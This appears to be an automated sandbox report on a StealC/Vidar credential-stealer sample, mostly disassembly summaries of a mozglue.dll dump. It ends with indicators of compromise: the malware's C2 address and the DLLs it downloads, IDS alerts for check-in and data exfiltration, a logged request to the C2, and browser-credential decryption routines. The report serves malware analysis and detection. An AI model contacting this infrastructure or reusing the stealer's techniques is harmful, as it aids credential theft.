Instruction Fuzzy Hash: 1D512371A042568FCB00CF1CC490AAABBB5EF99300F19829DD95A5F751D331ED06CBE0

Function 6C656470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6582BC,?,?), ref: 6C65649B

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6564A9

Part of subcall function 6C64FA80: GetCurrentThreadId.KERNEL32 ref: 6C64FA8D
Part of subcall function 6C64FA80: AcquireSRWLockExclusive.KERNEL32(6C69F448), ref: 6C64FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65653F
free.MOZGLUE(?), ref: 6C65655A

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 2268f90f4846a99b23c43530716545ff8fb19ea600bb19675d3c63732d5238e5
Instruction ID: 39076110e469157c08c1161b6b9e4454a64bb6136d45fb70c896a51e971ffa04
Opcode Fuzzy Hash: 2268f90f4846a99b23c43530716545ff8fb19ea600bb19675d3c63732d5238e5
Instruction Fuzzy Hash: 33319EB5A043059FD700CF25D880A9FBBE4FF89314F50842EE89A97740DB34E919CB9A

Function 6C62B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C62B4F5
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C62B502
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C62B542
free.MOZGLUE(?), ref: 6C62B578

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 9c2c76a120a53928870114f2ddf48d7cbbe14d7b13d3e2ed95ee470057f27956
Instruction ID: 769d966ef9b6dcb5d074e4b04f68ed38acacd7baafe66d70483bf3073cffd036
Opcode Fuzzy Hash: 9c2c76a120a53928870114f2ddf48d7cbbe14d7b13d3e2ed95ee470057f27956
Instruction Fuzzy Hash: C6113630A04B42C7C311CF2AC4403A5B3B0FFD6719F11970AE84A67A02EBB4B1D5CB89

Function 6C653DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C61F20E,?), ref: 6C653DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C61F20E,00000000,?), ref: 6C653DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C653E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C653E0E

Part of subcall function 6C64CC00: GetCurrentProcess.KERNEL32(?,?,6C6131A7), ref: 6C64CC0D
Part of subcall function 6C64CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6131A7), ref: 6C64CC16

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 02ca1fb9412a7f3ddfc45c6c1f933c43a2fb410e7c894e683a32a83da985333a
Instruction ID: a59db8c93ad57dc3ac53f6b297e9765a2b8b20acf21f2abab7fbf54630b8e893
Opcode Fuzzy Hash: 02ca1fb9412a7f3ddfc45c6c1f933c43a2fb410e7c894e683a32a83da985333a
Instruction Fuzzy Hash: 09F05EB16002097BDB00AF55DC81DAB376CDB47628F044020FD0917740D635B92986FF

Function 6C6685B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6685D3

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C668725

Strings

map/set<T> too long, xrefs: 6C668720

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 592c80b6beacbf5186186f2f4d06ae8f20a8fd003be9dff1f224ae7bedb82ab1
Instruction ID: 7fd7dd1e767d07f6e10685690adc95cb08582ea3252883e7870cf2fea0e584ad
Opcode Fuzzy Hash: 592c80b6beacbf5186186f2f4d06ae8f20a8fd003be9dff1f224ae7bedb82ab1
Instruction Fuzzy Hash: 8B5165746006418FD701CF2AC094A5AFBF1BF4A318F18C28AD8599BB62C375EC85CF96

Function 6C61BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C61BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61BE8F

Strings

0, xrefs: 6C61BE5B

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 6259da0d18f8369364d49f8d8d00216c8ad35067216078adf7ecb8187de0c297
Instruction ID: f7a72db0fdda872e29671b24a753285496f2e39732c0a38099a0bd092d6c7226
Opcode Fuzzy Hash: 6259da0d18f8369364d49f8d8d00216c8ad35067216078adf7ecb8187de0c297
Instruction Fuzzy Hash: 63418DB190D745CFC701CF39C481A9BB7E4AFCA389F008A1DF985A7B11D73099598B8A

Function 6C653CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C653D19
mozalloc_abort.MOZGLUE(?), ref: 6C653D6C

Strings

d, xrefs: 6C653D58

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 34badb420bdc94f0494b103391046214f68c3b41ffb62587cdbcee95b2524be4
Instruction ID: 6f8c90e964b9c7d1810b996aa02c5773c56a3b033d3c3e2b9ebe134de8d27a3c
Opcode Fuzzy Hash: 34badb420bdc94f0494b103391046214f68c3b41ffb62587cdbcee95b2524be4
Instruction Fuzzy Hash: AD110431E04689D7DB018F6AC8544EDB7B5EF87718F948329ED459B602EB30A594C3A8

Function 6C676DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C676E22
__Init_thread_footer.LIBCMT ref: 6C676E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C676E1D

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: bfc7980d5b46d9b957fa3f905a6fe80a0847dec655dc933f2a43b49467e583e9
Instruction ID: 466c5895981d054cca301e4fdb39e81eeb4074c5b862684c89398109edfbd82d
Opcode Fuzzy Hash: bfc7980d5b46d9b957fa3f905a6fe80a0847dec655dc933f2a43b49467e583e9
Instruction Fuzzy Hash: D9F05932608343DBDF108F69C890A9137715303318F250565E84146BA1CB61E507CEBF

Function 6C629E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C629EEF

Strings

Infinity, xrefs: 6C629EB7
NaN, xrefs: 6C629EC1

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 2428462b0fb9a627eab83dd9d2f91fe6c65fa2ab76a7648143369bbd4ad2e988
Instruction ID: 1b89f45422f3a9dd62591eea2bcf412cc68656ba0225e0a1d50ef124fe62d3ff
Opcode Fuzzy Hash: 2428462b0fb9a627eab83dd9d2f91fe6c65fa2ab76a7648143369bbd4ad2e988
Instruction Fuzzy Hash: 93F03C71701243CAEB008F1AD88579033F1A74731DF228A19E5440AAA1D7B5655E8A9F

Function 6C626C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kel,?,6C654B30,80000000,?,6C654AB7,?,6C6143CF,?,6C6142D2), ref: 6C626C42

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

moz_xmalloc.MOZGLUE(0Kel,?,6C654B30,80000000,?,6C654AB7,?,6C6143CF,?,6C6142D2), ref: 6C626C58

Strings

0Kel, xrefs: 6C626C33, 6C626C41, 6C626C57

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kel
API String ID: 1967447596-4046386957
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 4d344bf75a9afb14a48e357c5df6f25fd26c965ac24b25ee9f56862d748ab6ca
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: EFE086F1B105055AAB08A97D9C0A56B71C88B153A87044A35E823D6BC8FA9CE5508A9D

Function 6C62BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C62BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C62BEF5

Strings

cryptbase.dll, xrefs: 6C62BEF0

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c7fb94511a68035bb3ab8a3a040d1b61772cb1aa3c3d2ebcc4c0623d641fd4db
Instruction ID: 300327028b962d78a31bfbc18948cd9a21317e4e999629e5ead3be37d14097e0
Opcode Fuzzy Hash: c7fb94511a68035bb3ab8a3a040d1b61772cb1aa3c3d2ebcc4c0623d641fd4db
Instruction Fuzzy Hash: 3AD0A731184209E7C7106E518C05B29377CD7813A5F10C020F75684851C7B09413CF4C

Function 6C66B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C66B2C9,?,?,?,6C66B127,?,?,?,?,?,?,?,?,?,6C66AE52), ref: 6C66B628

Part of subcall function 6C6690E0: free.MOZGLUE(?,00000000,?,?,6C66DEDB), ref: 6C6690FF
Part of subcall function 6C6690E0: free.MOZGLUE(?,00000000,?,?,6C66DEDB), ref: 6C669108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C66B2C9,?,?,?,6C66B127,?,?,?,?,?,?,?,?,?,6C66AE52), ref: 6C66B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C66B2C9,?,?,?,6C66B127,?,?,?,?,?,?,?,?,?,6C66AE52), ref: 6C66B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C66B127,?,?,?,?,?,?,?,?), ref: 6C66B74D

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 4336b3502c18a5d8ed8bbd0f5167ff974c52e4e4676c2c5825c033e2f8d9f5fd
Instruction ID: ffb179e97d81553611a219650e13d3044661744006f474601522cb14d1c463d0
Opcode Fuzzy Hash: 4336b3502c18a5d8ed8bbd0f5167ff974c52e4e4676c2c5825c033e2f8d9f5fd
Instruction Fuzzy Hash: A251C071A05216CBDB14CF1AC98465EFBB5FFC5304F45852DE85AABB10DB31A804CBAA

Function 6C666E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C666EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C666EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C666F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666F5C

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 5f6e1b4fc5b19608813d89a0e8cbdd3ed5d67a5edd29073e72aff321dea24452
Instruction ID: 025df1016ff6f0fa7bca384295c82b2008725bb76d28e7732018698b68196e41
Opcode Fuzzy Hash: 5f6e1b4fc5b19608813d89a0e8cbdd3ed5d67a5edd29073e72aff321dea24452
Instruction Fuzzy Hash: 62312871A1060A8FDB04CF2ED9806AA73FAEB94304F50413DD41AC7A51EF32E559C795

Function 6C67B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C620A4D), ref: 6C67B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C620A4D), ref: 6C67B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C620A4D), ref: 6C67B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C620A4D), ref: 6C67B67F

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 635c4e11343c9bdb2c3890db9dc3e5b0d90ea32ba3c3dc544e4f7c55e6980d44
Instruction ID: debecf74c4ca7a15976283660b34a3172389bd40665212e523df21a0cc49d7bb
Opcode Fuzzy Hash: 635c4e11343c9bdb2c3890db9dc3e5b0d90ea32ba3c3dc544e4f7c55e6980d44
Instruction Fuzzy Hash: 6731E671A012168FDB20CF59C88469ABBF6FFC1314F168969C9069B301EB31E915CBF5

Function 6C64F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C64F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C64F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C64F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C64F668

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: dfb359b9c9700376316132e273bdedbfc4e190907305e79c15ede290640c7aa9
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: FB315171A00214AFC728DF5DCCC0A9F77B5EF94354B14C539FA4A8BB04D632E9458B99

Function 6C6626B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6626C1
free.MOZGLUE(?), ref: 6C6626E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6626FF
free.MOZGLUE ref: 6C66270D

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5326825b53a856d823751afa9c6015fc1293a2b878877bc9e66cd58d1ce81f79
Instruction ID: 421a877a4f1414170fce620d8ce5e935aa0afcf6b6ea3df389c1c2b98f864be5
Opcode Fuzzy Hash: 5326825b53a856d823751afa9c6015fc1293a2b878877bc9e66cd58d1ce81f79
Instruction Fuzzy Hash: 4CF0D6B27012016BE7009E1AD888947B7A9AB41358B540035EA1AC3F01E332F919C79B

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Source: 0.2.file.exe.1e0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.1e0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_001E9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_001EC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_001E7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_001E9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001F8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_001F8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C626C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C626C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
